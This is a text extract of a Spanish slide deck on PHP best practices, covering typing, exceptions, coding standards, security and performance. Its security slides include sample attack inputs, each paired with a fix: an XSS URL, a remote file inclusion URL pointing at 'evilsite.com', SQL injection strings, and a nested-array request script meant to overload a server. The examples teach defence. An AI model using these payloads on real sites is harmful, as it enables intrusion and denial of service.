SlideShare a Scribd company logo
1 of 70
Download to read offline
Buenas prácticas de
programación en PHP
                                             p';
                                       d.ph
                               at aGri
                         es/D
     p              ctur                                 ;
<?ph e 'Stru                                         (10)                           );
     i r                                      a Grid                            ame'
requ                   er   page res_Dat                                st/ db_n
                  ds p         uctu                                d@ho tions);
       0 r  ecor new Str                                       swor    $op
 // 1 rid =&                                              :pas
        ag                                         //user _tablequot;,
  $dat                           urce 'mysql: ROM my
                        da taso      =>           * F
                 your y('dsn' quot;SELECT
         etup          ra            (
   // S ns = ar id->bind ) {
          io             r            )                                            e)
   $opt = $datag or($test ge();                                                Tabl
          t             rr            a                                   TML
    $tes AR::isE >getMess                                         erer
                                                                       (H
    if   (PE       $te st-                                 t rend
            echo                                      faul
                                              th e de
                                       with
      }                      taG  rid     r();
                     th e Da ->rende {
              rint         grid          ))
       // P = $data or($test ge();
              t              r            a
        $tes AR::isEr >getMess
               PE            -
         if ( ho $test                                                GER)
                                                                           ;
               ec                                   s         NDER_PA
                                               link      D_RE
          }                          pa ging DATAGRI
                                TML          er(
                      t t he H d->rend           {
                 rin           gri          t))
           // P = $data or($tes ge();
                               rr             a
         Jesús M. Castagnetto M., Ph.D.
                  t
            $tes AR::isE >getMess
                   PE
             if ( ho $test
                   e c
                                  -

    jesus@upch.edu.pe // jmcastagnetto@php.net
        }
         ?> http://www.castagnetto.com/


                                           Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                               Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Agenda
●   Consideraciones generales
●   Seguridad
●   Mejorando el funcionamiento
●   Donde encontrar mas información




                            Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
¿Por que se necesita una charla
como esta?
●   PHP es un lenguaje fácil de aprender,
    usarlo en forma experta toma tiempo y
    esfuerzo
●   Los problemas de seguridad están en
    todas partes, en especial, las inesperadas
●   Tener buena performance es muy
    importante en aplicativos de web
●   El Código Libre debe ser robusto,
    funcionar bien, y verse mejor
                               Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                   Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
... y que espero que aprendan
●   Errores comunes y como evitarlos
●   Algunos “trucos” interesantes que pueden
    reutilizar
●   Como usar buenas herramientas para
    mejorar su código y sus aplicativos, y
    hacer su vida mas placentera :-)




                              Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                  Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Consideraciones Generales

En esta sección aprenderemos:
● Hábitos comunes para escribir buen

  código en PHP
● Algunos consejos para “limpiar” tu código

● Comportamientos que debemos evitar

  para no cometer tantos errores



                            Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Consideraciones Generales:
Tópicos
●   Asegurarse del tipo de datos
●   Usar “tags” cortas es malo
●   Ser “E_STRICTo” es bueno
●   Emplear excepciones
●   Usar un depurador (debugger)
●   Evitar reinventar la rueda
●   Los estándares de código son buenos
●   Documentar, documentar, documentar
                             Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                 Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (1)
La situación: PHP no usa tipos estrictos:
     <?php
       $foo = quot;1quot;;                                           Resultado:
       $bar = $foo + 1;                                      string(1) “1”
       var_dump($foo, $bar);
     ?>
                                                             int(2)

... los operadores tampoco lo usan:
     <?php
         $int = 1;
         $string = quot;1quot;;
         $bool = true;                                               Resultado:
         var_dump($int == $string);                                  bool(true)
         var_dump($string == $bool);                                 bool(true)
         var_dump($int == $bool);
     ?>                                                              bool(true)


                                     Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                         Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (2)
Esto causa situaciones confusas:
   <?php
     var_dump( '1' == '1.' );
                                                                    Resultado:
   ?>                                                               bool(true)

... y produce errores como el siguiente:
    <?php
        function foo($answer) {
            if ($answer > 10) {
                return true;
            } else {
                return $answer;
            }
        }                                                         Resultado:
        if (foo(11)) {
            echo quot;11 es mayor que 10<br />quot;;
                                                                  11 es mayor que 10
        }                                                         9 es mayor que 10
        if (foo(9)) {
            echo quot;9 es mayor que 10<br />quot;;
        }
    ?> 

                                      Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                          Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (3)
La solución: programar asegurándose de los
 tipos de datos
    <?php
      $foo = quot;1quot;;                                          Resultado:
      $bar = (int)$foo + 1;
      var_dump((int)$foo, $bar);                           int(1)
    ?>                                                     int(2)

... y usar comparadores que entiendan tipos:
    <?php
        $int = 1;
        $string = quot;1quot;;                                           Resultado:
        $bool = true;
        var_dump($int === $string);
                                                                 bool(false)
        var_dump($string === $bool);                             bool(false)
        var_dump($int === $bool);                                bool(false)
    ?> 



                                     Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                         Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (3)

Y el problema anterior, desaparece como
  por arte de magia:
    <?php
        function foo($answer) {
            if ($answer > 10) {
                return true;
            } else {
                return $answer;
            }
        }
        if (foo(11) === true) {
                                                                Resultado:
            echo quot;11 es mayor que 10<br />quot;;                    11 es mayor que 10
        }        
        if (foo(9) === true) {
            echo quot;9 es mayor que 10<br />quot;;
        }
    ?> 




                                      Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                          Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
“Tags” cortas son dañinas (1)
La situación: PHP permite varias formas de
 marcar el comienzo del código:
  ➔   Forma estándar: <?php echo “Hola!”; ?>
  ➔   Forma corta: <? echo “Hola!”; ?>
      o aún peor: <?= “Hola!”; ?>
  ➔   ... y para los masoquistas:
      <% echo “Hola!”; %>
Pero:
  ➔   <? esta reservado para declarar XML
  ➔   <?= no es XML válido (<?php si lo es)
  ➔   <% es para los que sueñan/sufren con ASP
                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
“Tags” cortas son dañinas (2)

La solución: Usar siempre la forma estándar
 (<?php) y convertir todos tus programas
 que no usan esa forma.
La forma estándar
  ➔   Tiene garantizada soporte futuro
  ➔   Representa una instrucción de procesamiento
      válida en XML
  ➔   Es única a todos los programas de PHP



                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Se “E_STRICTo” (1)

La situación: Desde PHP 5.0, existe un
 nuevo nivel de error: E_STRICT
  ➔   E_STRICT nos fuerza a escribir código que sea
      compatible (“limpio”) con PHP 5
  ➔   Muy probablemente E_STRICT se convierta en
      E_FATAL en PHP 6
  ➔   Existe mucho código que no es “E_STRICTo” y que
      por tanto no es portable en su totalidad a sistemas
      usando PHP 5



                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Se “E_STRICTo” (2)

La solución: Usemos E_STRICT, y
 revisemos nuestro código: (en php.ini)
       error_reporting=E_ALL | E_STRICT

Error típico encontrado usando E_STRICT:
 uso de is_a() en lugar de instanceof:
    <?php
      if (is_a($object, 'ClassName')) {                      El problema
        $object­>algunMetodo();
      }
    ?> 
                           <?php
                             if ($object instanceof ClassName) {
        La solución            $object­>algunMetodo();
                             }
                           ?> 

                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (1)

La situación: PHP tiene excepciones ahora,
 esto es bueno, pero peligroso
  ➔   Las excepciones son una gran herramienta para
      manejar situaciones excepcionales en la
      ejecución del código
  ➔   A menudo se usan mal las excepciones, y
      tendemos a abusar de ellas
  ➔   Las excepciones causan un poco de pérdida de
      memoria cuando son ejecutadas en algunas
      situaciones


                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (2)
Abusando de las excepciones:
     <?php
       function check_input($input) {
         if ($input !== quot;Hello!quot;) {
           throw new Exception(quot;User input wrongquot;);
         }
       }
     ?>


Cuando podríamos haber hecho algo mas
 sensato:      <?php
                 function check_input($input) {
                                if ($input !== quot;Hello!quot;) {
                                  return false;
                                } else {
                                  return true;
                                }
                              }
                            ?>

                                     Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                         Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (2)
Solución: Usemos bien las excepciones
    <?php
      function check_server_connection() {
        if (server_connection_timeout()) {                                Situaciones
          throw new Exception('Connection timeout');                      excepcionales
        }
      }
    ?>

                 <?php
                   try {
                     $person­>setName('John Doe');
                     $person­>setAddress('Something St. 12');
                     $person­>setbirthDate('10­10­1900');
                     $person­>store();
                   } catch (Exception e) {
  Manejo de          throw new DataPopulationException(
                         'Unable to fill data for person ' . $person­>getId(), e
  errores en         );
  un bloque        }
  de procesos    ?>


                                        Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                            Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (3)
Excepciones “pierden” alguito de memoria
 cuando se les lanza continuamente (por
 ejemplo en un bucle de proceso):
     <?php
         foreach ($i = 1000000; $i > 0; $i­­) {
            throw new Exceptions(
                      quot;WOW, I'm leaking!quot;
                   );
         }
     ?> 


La memoria pedida no es liberada por
 completo cada vez.
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usando un depurador (1)
La situación: “¡Yo no necesito depurador!”
● “Para mi es suficiente usar var_dump() y

  print_r(). ¿Para que complicarme la vida?”
● Los errores de PHP no son muy

  informativos en casos moderadamente
  complejos
● Un depurador tiene características que

  ayudan mucho, y que evitan dolores de
  cabeza al analizar errores en nuestros
  aplicativos de web
                            Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa un depurador (2)
Por ejemplo, el siguiente código:
        <?php
           function foo() {
             phpinfo(quot;barquot;);
           }
           foo();
        ?>

Daría un error como este:
  Warning: phpinfo() expects a parameter 1 to be
  long, string given in /server/webdocs/foo.php
  on line 1
... lo cual no nos dice mucho en realidad

                              Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                  Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa un depurador (3)

En cambio, un buen depurador nos da
 mucha mas información:




Ahora sabemos inclusive el orden de
 llamada que causo el error, cuando se
 realizó la llamada a la función, etc.
                            Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa un depurador (4)

La solución: ¡Usen un buen depurador!
● Recomendación: Xdebug

  (http://xdebug.org)
    ➔   Es Código Libre
    ➔   Usado por muchos desarrolladores
    ➔   Se integra con PHP como una extensión
    ➔   Se integra con IDEs (ej. Komodo)
    ➔   Tiene opciones para obtener perfiles de uso y
        cobertura de código
●   Otros depuradores:DBG(http://dd.cron.ru), APD (http://
    pecl.php.net/package/apd), Zend IDE (propietario)
                                      Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                          Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Estándares de código (1)

La situación: “¡Yo escribo código como a mi
  me viene en gana!”
● Esto causa dificultades al leer el código, lo

  cual es malo en un grupo de desarrollo
● Hace complicado que alguien mantenga tu

  código
● En ocasiones, tu mismo(a) tendrás

  problemas entendiendo tu propio
  “monstruo”
                             Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                 Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Estándares de código (2)

La solución: ¡Usa un estándar de código!
● Existen muchos, buenos, aceptados,

  refinados y validados por comunidades
  grandes de desarrolladores:
  ➔   PEAR Code Standards:
      http://pear.php.net/manual/en/standards.php
  ➔   eZ Systems:
      http://ez.no/ezpublish/documentation/development/standards/php
  ➔   ZF Code Standard:
      http://framework.zend.com/manual/en/coding-standard.html


                                      Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                          Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Documentación (1)
La situación: Comparado con escribir
  código, el hacer documentación es
  aburrido y se deja para el último momento
● Esto hace que después de 6 meses, ni tu

  mismo te acuerdes que hace un pedazo
  de código que hiciste (en particular si no
  tienes un estándar de código :-)
● Piensa que otros usaran tu código. Mejor

  aún, espera y cuenta con otros usarán tu
  código, y no les compliques la vida
                              Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                  Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Documentación (2)

La solución: phpDocumentor
 ➔   Implementa y aumenta las capacidades de
     documentación de Javadoc
 ➔   Es un estándar aceptado por la comunidad
 ➔   Está disponible a través de PEAR
 ➔   Permite la generación “automágica” de
     documentación de tu API
 ➔   También puedes incluir tutoriales
 ➔   Más información en http://phpdoc.org


                                Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                    Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Documentación (3)
Consejos útiles:
  ➔   Escribe la documentación antes de escribir el
      código, de ese modo no te olvidas de algo
      importante
  ➔   Si escribes primero el código, de seguro que no vas
      a escribir buena documentación (y eso, si la llegas a
      escribir)
  ➔   Documenta minuciosamente, así no tienes que
      corregir los documentos luego
  ➔   Si vas a modificar, añadir o arreglar algo: Actualiza
      la documentación primero, luego actualiza el
      código.
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Seguridad

En esta sección veremos:
● Problemas comunes y sus soluciones

● Como estar atento a lo hacen nuestros

  usuarios, y actuar de acuerdo a ello




                            Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Seguridad: Tópicos
●   Inyección de variables
●   Inyección de comandos en SQL
●   Filtrado de datos de ingreso
●   Escape de datos de salida
●   Seguridad por obscuridad
●   Arreglar los derechos de acceso
●   Configuración
●   Cookies y sesiones
                              Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                  Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (1)

La situación: Las variables no inicializadas
 pueden causar que se ejecuten secciones
 no esperadas de código
    <?php
        if (correct_user($_POST['user'], $_POST['password']) {
            $login = true;
        }

        if ($login) {
            forward_to_secure_environment();
        }
    ?> 


                                 ¡Un desastre en potencia!
    http://example.com/form1.php?login=1

                                      Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                          Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (2)
La solución: Inicializa todas tus variables y
 nunca (si, ¡nunca!) confíes en datos que
 vienen del usuario (del exterior):
 $_POST, $_GET, $_REQUEST, $_COOKIE, $_SERVER,
 $_ENV
Ejemplo simple de XSS. Al código:
     <form action=quot;<?php echo $_SERVER['PHP_SELF']; ?>quot;>
     </form>

... le inyectamos el URL siguiente:
 http://example.com/form2.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

generando una ventana en JavaScript que
 imprime el texto “XSS”
                                        Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                            Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (3)

La situación: Variables usadas para incluir
 archivos causan mas dolores de cabeza
 que los que resuelven.
  ➔   Hacen fácil que se ejecute código externo
  ➔   Peor aun si se puede incluir código de cualquier
      URL arbitrario (allow_url_fopen=On, la
      configuración por defecto de PHP)
             <?php
                 require_once $_GET['action'] . '.php';
             ?> 

  Se puede explotar esto usando:
  http://example.com/form3.php?action=http://evilsite.com/myevilscript

                                      Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                          Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (4)

La solución: Valida los archivos a incluir
 usando una lista fija implementada con
 arreglos o con 'switch', etc.
      <?php
          $valid_files = array(
              'show' => 'show.php',
              'list' => 'list.php',
          );

          if (isset($valid_files[$_GET['action']])) {
              require_once $valid_files[$_GET['action']];
          } else {
              echo 'Not a valid action.';
          }
      ?> 




                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de comandos en SQL
(1)
La situación: El necesitar usar datos de los
 usuarios, puede permitir a estos el
 manipular la forma como se accede a la
 base de datos.
Dado el código:
   <?php
      $sql = 'SELECT password FROM user WHERE login = '
              . $_GET['login'];
   ?>
Se puede manipular usando:
   http://example.com/form4.php?login=username+OR+1


                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de comandos en SQL
(2)
La solución: Usa funciones para escapar
 datos de tu base de datos:
     <?php
         $sql = 'SELECT password FROM user WHERE login = ' . 
                mysql_real_escape_string( $_GET['login'] );
     ?> 


O aún mejor, usa comando preparados:
<?php
    $db = new PDO( ... );
    $stmt = $db­>prepare( 'SELECT password FROM user WHERE login = ?' );
    $stmt­>execute( array( $_GET['login'] ) );
?> 



                                        Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                            Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Validación de datos de entrada (1)
La situación: Validar los datos que entra el
 usuario es difícil y poco interesante.
La solución: Usar ext/filter o ext/ctype
   <?php
       var_dump( ctype_alnum( 'foobar_42' ) );
       var_dump( ctype_alnum( 'Bad Characters $%&/' ) );

        var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
        var_dump(filter_var('example.com',
                   FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
   ?>

                                      Resultado:
                                      boolean false
                                      boolean false
                                      string 'bob@example.com' (length=15)
                                      boolean false
                                       Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                           Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Validación de datos de entrada (2)

Sugerencia:
Para datos numéricos, es más fácil el forzar
 al dato a tener un tipo un entero (integer)
   <?php
      var_dump( (int) '42' );
      var_dump( (int) '42; DELETE * FROM users;' );
      var_dump( (int) 'Evil string' );
   ?>
                       Resultado:
                       int 42
                       int 42
                       int 0


                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Procesa los datos de salida (1)

La situación: Los ataques de XSS ocurren
 por no procesar adecuadamente los datos
 de salida, o usarlos tal cual son obtenidos.
  ➔    Debemos asumir que todo dato ingresado por el
       usuario, puede contener caracteres que serán
       interpretados por el navegador, u otro programa que
       recibe nuestros resultados.
      <?php
          $text = '<b>Hola</b> todos.';
                                                            Resultado:
          echo $text;
          echo htmlentities( $text );                       Hola todos
      ?>                                                    <b>Hola</b> todos

                                        Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                            Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Procesa los datos de salida (2)

La solución: Usar las funciones de
 procesamiento de datos de salida
  ➔   Hay que recordar que las bases de datos también
      pueden contener datos ingresados por el usuario
  ➔   Debemos de considerar el contexto en que la salida
      de nuestro programa va a ser usada (navegador,
      lector de RSS, etc.)
  ➔   Usar un sistema de plantillas, en especial uno que
      procese la salida adecuadamente, evita este
      problema y nos ahorra trabajo


                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Seguridad por obscuridad
La situación: Información acerca de las
 rutas, extensiones, y configuración, hace
 fácil el trabajo de quien quiere atacar tu
 sistema.
La solución: Oculta bien esta información.
  ➔   No tengas un script con phpinfo() en tu directorio
      de web por defecto
  ➔   En producción, desactiva display_errors y usa
      error_log en su lugar
  ➔   El cambiar los tipos de archivos por defecto (ej. usar
      .abc en lugar de .php), y desactivar expose_php
      también puede ayudar
                                   Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                       Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Corrige los permisos de acceso
La situación: Permisos de acceso errados
 hacen fácil el que alguien puede
 adueñarse de nuestro servidor de web.
La solución: Usa los permisos correctos
  ➔   No deben de haber archivos ejecutables o que se
      puedan escribir en tu carpeta de web
  ➔   Ningún archivo de PHP debe de poderse sobre-
      escribir
  ➔   Desactivar el leer (y ejecutar) archivos externos
      conteniendo clases, configuración, o código de
      cualquier índole
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (1)
La situación: El proceso inadecuado de los
 datos de salida y los almacenados.
  ➔   Afecta directamente (a veces, seriamente) la
      performance de tu aplicativo de web
  ➔   A veces no usamos adecuadamente funciones
      como stripslashes(), ni las asociadas al tipo de
      almacenaje que usaremos (base de datos, archivos,
      etc.)
La solución: No uses magic_quotes en
 producción (ni en desarrollo, de ser
 posible), y usa funciones de
 procesamiento apropiadas
                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (2)
Si queremos revertir efectivamente el efecto de
magic_quotes, hay que hacerlo con cuidado
    <?php
        if (get_magic_quotes_gpc()) {
             function strip_quotes(&$var) {                      Este código se
                  if (is_array($var) {
                      array_walk($var, 'strip_quotes');
                                                                 puede atacar
                  } else {                                       fácilmente.
                      $var = stripslashes($var);
                  }
             }                                                   Un programa
             // Handle GPC                                       simple puede
             foreach (array('GET','POST','COOKIE') as $v) {
                  if (!empty(${quot;_quot;.$v})) {                       hacer que el
                      array_walk(${quot;_quot;.$v}, 'strip_quotes');     servidor se caiga
                  }
             }
                                                                 por exceso de
        }                                                        carga
    ?> 
          <?php
               $qry = str_repeat('[]', 1024);
               file_get_contents('http://example.com/site.php?a' . $qry . '=1');
          ?> 

                                         Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                             Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (4)
Podemos hacer el mismo procesamiento, pero en forma
mas segura, si usar recursión:
      <?php
          if (get_magic_quotes_gpc()) {
              $in = array(&$_GET, &$_POST, &$_COOKIE);
              while (list($k,$v) = each($in)) {
                  foreach ($v as $key => $val) {
                      if (!is_array($val)) {
                          $in[$k][$key] = stripslashes($val);
                          continue;
                      }
                      $in[] =& $in[$k][$key];
                  }
              }
              unset($in);
          }
      ?> 



                                     Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                         Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (5)

La situación: Aún hay código que depende
 de que register_globals este activo, y hay
 desarrolladores que aún siguen usándolo
  ➔   Esta configuración ha sido desactivada por defecto
      desde hace mucho tiempo (desde PHP 4.2.0: 22 de
      Abril del 2002)
  ➔   Su uso llena de basura el entorno global
  ➔   Puede sobre-escribir variables no inicializadas con
      gran facilidad
  ➔   Nos (mal) acostumbra a no procesar nuestros datos
      de entrada
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (6)
La solución: No uses register_globals, ni
 en desarrollo y menos en producción.
  ➔   El tratar de emular su efecto puede traer problemas,
      en particular en entornos usando PHP con
      versiones anteriores a 4.4.1 o 5.0.5
  ➔   Aún puedes crear tus propios mecanismos de
      importación de variables
  ➔   El comportamiento de extract() y el de
      import_request_variables() es aceptado
           ¡En PHP 6 ya no existirá ni
           magic_quotes y menos aún
                register_globals!
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cookies y sesiones (1)
La situación: Las cookies son fáciles de ser
 modificadas por el usuario.
  ➔   No almacenes información crítica en cookies
  ➔   Pueden ser falsificadas usando programas
      automatizados
La solución: Usar ext/session para
 almacenar los datos importantes.
  ➔   Generalmente, se almacenará un ID de sesión en la
      cookie del usuario
  ➔   Los datos asociados residen en el servidor
      (archivos o base de datos)
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cookies y sesiones (2)

Sugerencias:
 ➔   No almacenar claves de identificación como texto
     sencillo, es inseguro aún en el servidor. Es bueno
     usar un función como md5(), sha1(), etc. para
     almacenar un valor que no puede ser revertido a la
     cadena original
 ➔   Al usar md5() (o sha1(), etc.), no hacerlo
     directamente en la clave, pues pueden escribirse
     programas que traten de adivinar esta información
     por fuerza bruta. Concatenar con otra información
     (ej. nombre del servidor, del usuario, etc.), antes de
     procesar.
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Mejorando la performance

En esta sección aprenderemos
● Algunos de los errores comunes que

  hacen que nuestros aplicativos corren más
  lentamente de lo que realmente deberían.
● Algunas sugerencias que pueden ayudar a

  que la performance de nuestros
  aplicativos aumente, usando prácticas
  correctas de escritura de código

                            Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Mejorando la performance:
Tópicos
●   Prefiere usar C en lugar de PHP
●   Algunas mejoras simples en la velocidad
●   Como usar OOP adecuadamente
●   Usar cache tanto como se pueda
●   Tener cuidado con las expresiones
    regulares
●   Emplear cache de OP code
●   Hacer un perfil del aplicativo
●   Usar mod_gzip
                              Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                  Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Prefiere usar C en lugar de PHP
La situación: Las funciones internas de PHP
 son más rápidas que las del usuario
  ➔   Las funciones de PHP nos ahorran tiempo, pero
      aún así hay gente que insiste en escribir su “versión
      propia” de estas
La solución: ¡Lee el manual!
  ➔   PHP tiene excelente documentación, usala a
      menudo y verás que te gustará
  ➔   Antes de escribir, fíjate si ya existe en PHP
  ➔   Si realmente necesitas funciones que consumen
      mucho tiempo, escribelas como extensiones en C
      para PHP
                                   Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                       Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Algunas mejoras simples en la
velocidad (1)
 La situación: Si usamos código simple muy
  frecuentemente, esto puede causar que
  se pierda mucho tiempo de proceso.
   ➔   El uso principal de los aplicativos de web es el de
       procesar cadenas de caracteres
   ➔   Debemos de analizar las construcciones de código
       más frecuentemente usadas en nuestro aplicativo

  “Make everything as simple as possible, but not simpler.”
  (Haz todo tan simple como sea posible, pero no mas
  simple que eso) -- Albert Einstein

                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Algunas mejoras simples en la
velocidad (2)
La solución: Optimizaciones simples ayudan
 mucho a aumentar la velocidad
  ➔   Usa ' en lugar de quot; para no tener que interpretar
      valores                                       Preferido
        echo quot;HolanTodosquot;;            echo 'Hola Todos';
  ➔   Usa valores múltiples de echo en lugar de usar
                                                                                          Preferido
      concatenación de valores
       echo 'Hola '.$nombre; echo 'Hola ', $nombre;
  ➔   Donde sea posible usa ++$i en lugar
      de $i++   for ($i=0; $i<100; $i++)
                                                                                    Preferido
                          for ($i=0; $i<100; ++$i)

                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa OOP adecuadamente (1)
La situación: PHP 5 tiene características
 interesantes en lo relacionado a OOP
  ➔   OOP se ve bien y puede ser útil, pero también
      sobrecarga el procesamiento
  ➔   Cada objeto consume memoria en PHP que una
      estructura equivalente
  ➔   Cada llamada a un método consume memoria y
      tiempo en PHP
        <?php
            class Integer {
                protected $value = 0;                        Bonito código,
                function __construct($int) {
                    $this­>value = $int;                     pero innecesario
                }
            }
        ?> 

                                         Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                             Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa OOP adecuadamente (2)
La solución: Conoce los límites de OOP
  ➔   No todo tiene que ser una clase, los arreglos
      pueden ser muy útiles también
  ➔   No crees múltiples métodos, piensa en que vas a
      reusar en realidad. Sé pragmático(a).
  ➔   Si lo necesitas, puedes reorganizar tus métodos
      luego. No trates de adivinar el futuro.
  ➔   Piensa: ¿Realmente necesito un árbol de clases tan
      profundo y complejo?
  ➔   Antes de aplicar un “Patrón de Diseño” OOP, piensa
      si realmente lo necesitas. No hagas las cosas por
      moda o imitación
                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usar cache al máximo (1)

